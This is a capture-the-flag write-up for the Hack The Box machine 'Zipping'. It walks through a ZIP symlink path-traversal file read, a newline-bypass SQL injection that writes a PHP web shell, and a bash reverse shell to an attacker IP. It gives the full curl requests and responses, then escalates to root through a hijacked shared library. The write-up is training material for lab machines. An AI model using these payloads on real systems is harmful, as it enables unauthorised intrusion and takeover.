Hack The Box - Zipping

January 13, 2024

Zipping

Zipping is a Linux machine hosting a website with a form used to upload ZIP archives that contain a PDF document. Arbitrary files on the server can be read by creating a symbolic link to a directory traversal sequence, allowing for the PHP code of any page on the site to be viewed. A SQL injection vulnerability can be discovered in cart.php and then leveraged to get a reverse shell. Once on the system, enumeration reveals that the current user has sudo permission to run a custom binary (/usr/bin/stock). Analysis of the program with strace shows that a call is made to a shared library that doesn't exist on the system (/home/rektsu/.config/libcounter.so). This can be exploited by writing a custom shared library of the same name that spawns a root shell once libcounter.so is called within /usr/bin/stock.

nmap scan:

nmap scan

Open ports:

  • 22 (SSH)
  • 80 (HTTP)

Initial visit to the webpage at zipping.htb brought up a home page for a watch store:

home page

The "Work with Us" page at zipping.htb/upload.php had an upload form for ZIP archives that must contain a single PDF:

work with us page

Testing the functionality of the form showed that the ZIP was automatically getting decompressed on the server, this meant that it was potentially vulnerable to arbitrary file read. Therefore, I tried this method shown on HackTricks which uses a symlink to a directory traversal payload.

First, I created the symlink with a .pdf extension to bypass the check for a PDF within the archive which then points to the /etc/passwd file on the target system:

symlink /etc/passwd

passwd.pdf was now a symlink pointing to the source file ../../../../../../etc/passwd:

list symlink /etc/passwd

Next, I created a ZIP archive with the symlink:

zip /etc/passwd with symlink

Uploaded the ZIP:

upload passwd.zip

Once it was uploaded, I visited the link provided and opened dev tools. Within the network tab, I copied the base64 encoded data in the response into a file called passwd.txt:

/etc/passwd response

After decoding the response, the /etc/passwd file was revealed, confirming successful local file read:

passwd decode

The method above can be used to view the code of any page on the site or other files on the server, I'll mention the most interesting ones below.

I created a ZIP that contained a symlink pointing to /var/www/html/index.php in order to view the code and see what caused the zip path traversal vulnerability:

zip upload.php with symlink

Within the network tab of dev tools, I copied the data in the response into a file:

upload.php response

I decoded the base64 data and wrote it into a new file which resulted in the code for zipping.htb/upload.php:

upload.php decode

Here's the PHP code:

// ...
<?php
    if(isset($_POST['submit'])) {
        // Get the uploaded zip file
        $zipFile = $_FILES['zipFile']['tmp_name'];
        if ($_FILES["zipFile"]["size"] > 300000) {
        echo "<p>File size must be less than 300,000 bytes.</p>";
        } else {
        // Create an md5 hash of the zip file
        $fileHash = md5_file($zipFile);
        // Create a new directory for the extracted files
        $uploadDir = "uploads/$fileHash/";
        $tmpDir = sys_get_temp_dir();
        // Extract the files from the zip
        $zip = new ZipArchive;
        if ($zip->open($zipFile) === true) {
            if ($zip->count() > 1) {
            echo '<p>Please include a single PDF file in the archive.<p>';
            } else {
            // Get the name of the compressed file
            $fileName = $zip->getNameIndex(0);
            if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
            $uploadPath = $tmpDir.'/'.$uploadDir;
            echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');
            if (file_exists($uploadPath.$fileName)) {
                mkdir($uploadDir);
                rename($uploadPath.$fileName, $uploadDir.$fileName);
            }
            echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
            } else {
            echo "<p>The unzipped file must have  a .pdf extension.</p>";
            }
            }
        } else {
            echo "Error uploading file.";
        }

        }
    }
?>
// ...

In the code above, the vulnerability stems from the usage of $zip->getNameIndex(0) to obtain the name of the first file within the ZIP archive which is assigned to the $fileName variable and isn't properly validated or sanitized. Once the file is extracted with echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null'), $fileName is directly appended to $uploadPath. This makes the code susceptible to a path traversal attack, and in this case, it can be exploited using a symlink with a directory traversal payload for $fileName in order to get arbitrary file read.

Next, I applied the same ZIP path traversal method for the shop page at zipping.htb/shop/index.php:

shop page

Created a symlink:

zip /shop/index.php with symlink

Visited the provided link and copied the base64 encoded response within dev tools:

/shop/index.php response

Decoded the response:

/shop/index.php decode

PHP code within zipping.htb/shop/index.php:

<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

The code above is dynamically loading pages of the website based on the page parameter in the URL. So given that the cart page is located at the URL zipping.htb/shop/index.php?page=cart, then the corresponding PHP code for this page is cart.php:

cart page

Once again, I ran the same ZIP path traversal attack for /var/www/html/cart.php:

zip /shop/cart.php with symlink

cart.php response

cart.php decode

Relevant snippet from cart.php:

<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
        echo '';
    } else {
        // Construct the SQL statement with a vulnerable parameter
        $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
        // Execute the SQL statement without any sanitization or parameter binding
        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
        
        // ...
    }
}
// ...
?>

In the code above, the preg_match() method is being used to validate user input, however, it can be bypassed with a newline character since the regex pattern in preg_match() causes it to only check the first line of user input as stated here on HackTricks. Then, there's the SQL query $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'"; which directly concatenates the product_id value into the SQL string without proper validation or sanitization, this makes it vulnerable to SQL injection.

The following payload writes a basic web shell to the server:

%0a\'%3bselect+\'<%3fphp+system($_GET[1])%3b+%3f>\'+into+outfile+\'/var/lib/mysql/web-shell.php\'%3b --1

%0a\'%3b breaks the original SQL query with a line break (%0a) and a closing quote with a semi-colon ('%3b). This bypasses the validation within preg_match(). Then, the web shell is written into a file called web-shell.php in /var/lib/mysql since MySQL has write permission to this folder by default to store its database files. The --1 at the end is used to bypass the check that attempts to validate that the data in the POST request contains a number.

So, the SQL statement will be interpreted like this:

SELECT * FROM products WHERE id = '
';SELECT '<?php system($_GET[1]); ?>' into outfile '/var/lib/mysql/web-shell.php'; --1

burp suite SQL injection web shell

Once the web shell is written onto the server, it can be visited and used to execute commands within the query parameter (&1=id):

burp suite web shell render

Using curl instead of Burp Suite for the above POST and GET requests including the responses:

┌──(kali㉿kali)-[~/Desktop/HTB/Zipping]
└─$ curl -i -s -k -X $'POST' \
    -H $'Host: zipping.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 121' -H $'Origin: http://zipping.htb' -H $'Connection: close' -H $'Referer: http://zipping.htb/shop/index.php?page=product&id=1' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=h3ub8hbi8nllja4n3sdd1u4coq' \
    --data-binary $'quantity=1&product_id=%0a\'%3bselect+\'<%3fphp+system($_GET[1])%3b+%3f>\'+into+outfile+\'/var/lib/mysql/web-shell.php\'%3b --1' \
    $'http://zipping.htb/shop/index.php?page=cart'
HTTP/1.1 302 Found
Date: Sun, 05 Nov 2023 11:45:47 GMT
Server: Apache/2.4.54 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: index.php?page=cart
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
┌──(kali㉿kali)-[~/Desktop/HTB/Zipping]
└─$ curl -i -s -k -X $'GET' \
    -H $'Host: zipping.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 121' -H $'Origin: http://zipping.htb' -H $'Connection: close' -H $'Referer: http://zipping.htb/shop/index.php?page=product&id=1' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=h3ub8hbi8nllja4n3sdd1u4coq' \
    $'http://zipping.htb/shop/index.php?page=/var/lib/mysql/web-shell&1=id'
HTTP/1.1 200 OK
Date: Sun, 05 Nov 2023 11:48:01 GMT
Server: Apache/2.4.54 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)

With successful command execution confirmed, next I sent a reverse shell one-liner:

bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'

URL encoded (including special characters)

bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E5%2F443%200%3E%261%27

I started a netcat listener and sent a curl request with the URL encoded reverse shell command:

curl request reverse shell

netcat caught a shell as rektsu:

reverse shell

user flag

rektsu was able to run /usr/bin/stock as sudo:

rektsu-sudo-l

/usr/bin/stock required a password:

/usr/bin/stock password required

The strings command revealed what looked to be a password:

strings /usr/bin/stock

The password worked, providing access to /usr/bin/stock. Although, it didn't seem too useful as it was just a program for managing stock inventory:

stock manager

But, running strace on the binary showed that the program was making a call to a shared library (/home/rektsu/.config/libcounter.so) which seemed interesting:

strace /usr/bin/stock

/home/rektsu/.config/libcounter.so

I checked that location and there wasn't a shared object (libcounter.so) in /home/rektsu/.config:

list .config

Therefore, this could be exploited by creating a custom shared library of the same name (libcounter.so) in the same location (/home/rektsu/.config) that spawns a root shell when called by /usr/bin/stock. I wrote the following custom C source file within /tmp:

exploit

Next, I compiled exploit.c into the shared library /home/rektsu/.config/libcounter.so

compile exploit

After running sudo /usr/bin/stock again, the program spawned a root shell:

root


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS